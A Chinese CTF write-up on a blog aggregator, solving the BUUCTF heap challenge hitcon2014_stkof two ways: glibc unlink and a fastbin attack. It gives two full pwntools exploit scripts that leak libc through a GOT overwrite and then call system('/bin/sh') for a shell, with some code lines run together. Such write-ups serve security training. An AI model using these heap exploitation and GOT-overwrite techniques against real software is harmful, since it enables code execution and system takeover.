[BUUCTF]-PWN:hitcon2014_stkof解析

2024-01-28 16:20

本文主要是介绍[BUUCTF]-PWN:hitcon2014_stkof解析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

又是一道堆题,先看保护

关键信息,64位,没开pie。再看ida

大致就是alloc创建堆块,free释放堆块,fill填充堆块内容,以及一个看起来没啥用的函数,当然我也没利用这个函数去解题

这里有两种解法

解法一(unlink):

这里要着重讲一下这个解法,因为我在前面的堆题里几乎没有用过这个方法解题,而且unlink也是一种值得去用的解法。

解题思路:

从创建堆块的函数里可以看到,堆块的指针存储在一个名为s的指针数组里,可以触发unlink修改堆块指针为s附近的地址,修改该堆块内容把两个堆块指针分别修改为free的got以及任意函数的got,把free的got里内容修改为puts的plt地址,打印出任意函数的got内容,泄露libc,得到system函数地址,把free的got内容修改为system,然后getshell

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
#p=process('./stkof')
p=remote('node5.buuoj.cn',27600)
pchunk=0x602150
free_got=0x602018
puts_got=0x602020
puts_plt=0x400760
libc_start_main_got=0x602050def alloc(size):p.sendline(str(1))p.sendline(str(size))
def fill(index,size,context):p.sendline(str(2))p.sendline(str(index))p.sendline(str(size))p.sendline(context)
def free(index):p.sendline(str(3))p.sendline(str(index))alloc(0x10)
alloc(0x20)
alloc(0x80)
alloc(0x80)
payload=p64(0)+p64(0x21)+p64(pchunk-0x18)+p64(pchunk-0x10)+p64(0x20)+p64(0x90)
fill(2,len(payload),payload)
free(3)
payload=p64(0)*2+p64(free_got)+p64(libc_start_main_got)
fill(2,len(payload),payload)
payload=p64(puts_plt)
fill(1,len(payload),payload)
free(2)
libc_start_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher('__libc_start_main',libc_start_addr)
libcbase=libc_start_addr-libc.dump('__libc_start_main')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(1,len(payload),payload)
alloc(0x20)
payload=b'/bin/sh\x00'
fill(4,len(payload),payload)
free(4)
p.interactive()

unlink:

应用:

首先,设某一堆块的指针存储在pchunk地址处,在该堆块中伪造堆块,填充数据伪造堆头,利用填充堆块内容的函数将该堆块的fd和bk处分别修改为pchunk-0x18,pchunk-0x10,然后将相邻的下一堆块的priv_size修改为伪造的堆块的大小,堆头size修改为相应的大小,然后释放相邻堆块(大小需为非fastbin)就可以触发unlink,将该堆块的指针修改为pchunk-0x18了。

例如exp中的:

payload=p64(0)+p64(0x21)
payload+=p64(pchunk-0x18)+p64(pchunk-0x10)
payload+=p64(0x20)+p64(0x90) #这里直接输入这样是因为伪造堆块的大小较小不用填充无关数据

如果伪造的堆块大小较大,需要填充无关数据至相邻堆块的堆头。

原理:

原理可以看一下这篇文章,写得很详细

https://blog.csdn.net/qq_41202237/article/details/108481889

第二种解法:

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
#p=process('./stkof')
p=remote('node5.buuoj.cn',27600)
s=0x602140
free_got=0x602018
puts_plt=0x400760
libc_start_main_got=0x602050def alloc(size):p.sendline(str(1))p.sendline(str(size))
def fill(index,size,context):p.sendline(str(2))p.sendline(str(index))p.sendline(str(size))p.sendline(context)
def free(index):p.sendline(str(3))p.sendline(str(index))alloc(0x10) #1
alloc(0x10) #2
alloc(0x60) #3
alloc(0x60) #4
alloc(0x80) #5
free(3)
free(4)
payload=p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(s-115)
fill(2,len(payload),payload)
alloc(0x60)
alloc(0x60)
payload=p64(0)*13+p8(0)*3+p64(free_got)+p64(libc_start_main_got)
fill(7,len(payload),payload)
payload=p64(puts_plt)
fill(1,len(payload),payload)
free(2)
libc_start_main_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(libc_start_main_addr)
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase=libc_start_main_addr-libc.dump('__libc_start_main')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(1,len(payload),payload)
payload=b'/bin/sh\x00'
fill(5,len(payload),payload)
free(5)
p.interactive()

直接释放两个堆块,利用堆溢出在堆块指针数组s附近创建堆块,修改指针。

这种方法比较简单粗暴一点,但是还是建议用unlink去解题。

这篇关于[BUUCTF]-PWN:hitcon2014_stkof解析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/654152

相关文章

使用Java解析JSON数据并提取特定字段的实现步骤(以提取mailNo为例)

《使用Java解析JSON数据并提取特定字段的实现步骤(以提取mailNo为例)》在现代软件开发中,处理JSON数据是一项非常常见的任务,无论是从API接口获取数据,还是将数据存储为JSON格式,解析... 目录1. 背景介绍1.1 jsON简介1.2 实际案例2. 准备工作2.1 环境搭建2.1.1 添加

在C#中合并和解析相对路径方式

《在C#中合并和解析相对路径方式》Path类提供了几个用于操作文件路径的静态方法,其中包括Combine方法和GetFullPath方法,Combine方法将两个路径合并在一起,但不会解析包含相对元素... 目录C#合并和解析相对路径System.IO.Path类幸运的是总结C#合并和解析相对路径对于 C

Java解析JSON的六种方案

《Java解析JSON的六种方案》这篇文章介绍了6种JSON解析方案,包括Jackson、Gson、FastJSON、JsonPath、、手动解析,分别阐述了它们的功能特点、代码示例、高级功能、优缺点... 目录前言1. 使用 Jackson:业界标配功能特点代码示例高级功能优缺点2. 使用 Gson:轻量

Java如何接收并解析HL7协议数据

《Java如何接收并解析HL7协议数据》文章主要介绍了HL7协议及其在医疗行业中的应用,详细描述了如何配置环境、接收和解析数据,以及与前端进行交互的实现方法,文章还分享了使用7Edit工具进行调试的经... 目录一、前言二、正文1、环境配置2、数据接收:HL7Monitor3、数据解析:HL7Busines

python解析HTML并提取span标签中的文本

《python解析HTML并提取span标签中的文本》在网页开发和数据抓取过程中,我们经常需要从HTML页面中提取信息,尤其是span元素中的文本,span标签是一个行内元素,通常用于包装一小段文本或... 目录一、安装相关依赖二、html 页面结构三、使用 BeautifulSoup javascript

网页解析 lxml 库--实战

lxml库使用流程 lxml 是 Python 的第三方解析库,完全使用 Python 语言编写,它对 XPath表达式提供了良好的支 持,因此能够了高效地解析 HTML/XML 文档。本节讲解如何通过 lxml 库解析 HTML 文档。 pip install lxml lxm| 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档,下面来介绍一下 lxml 库

【C++】_list常用方法解析及模拟实现

相信自己的力量,只要对自己始终保持信心,尽自己最大努力去完成任何事,就算事情最终结果是失败了,努力了也不留遗憾。💓💓💓 目录   ✨说在前面 🍋知识点一:什么是list? •🌰1.list的定义 •🌰2.list的基本特性 •🌰3.常用接口介绍 🍋知识点二:list常用接口 •🌰1.默认成员函数 🔥构造函数(⭐) 🔥析构函数 •🌰2.list对象

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

OWASP十大安全漏洞解析

OWASP(开放式Web应用程序安全项目)发布的“十大安全漏洞”列表是Web应用程序安全领域的权威指南,它总结了Web应用程序中最常见、最危险的安全隐患。以下是对OWASP十大安全漏洞的详细解析: 1. 注入漏洞(Injection) 描述:攻击者通过在应用程序的输入数据中插入恶意代码,从而控制应用程序的行为。常见的注入类型包括SQL注入、OS命令注入、LDAP注入等。 影响:可能导致数据泄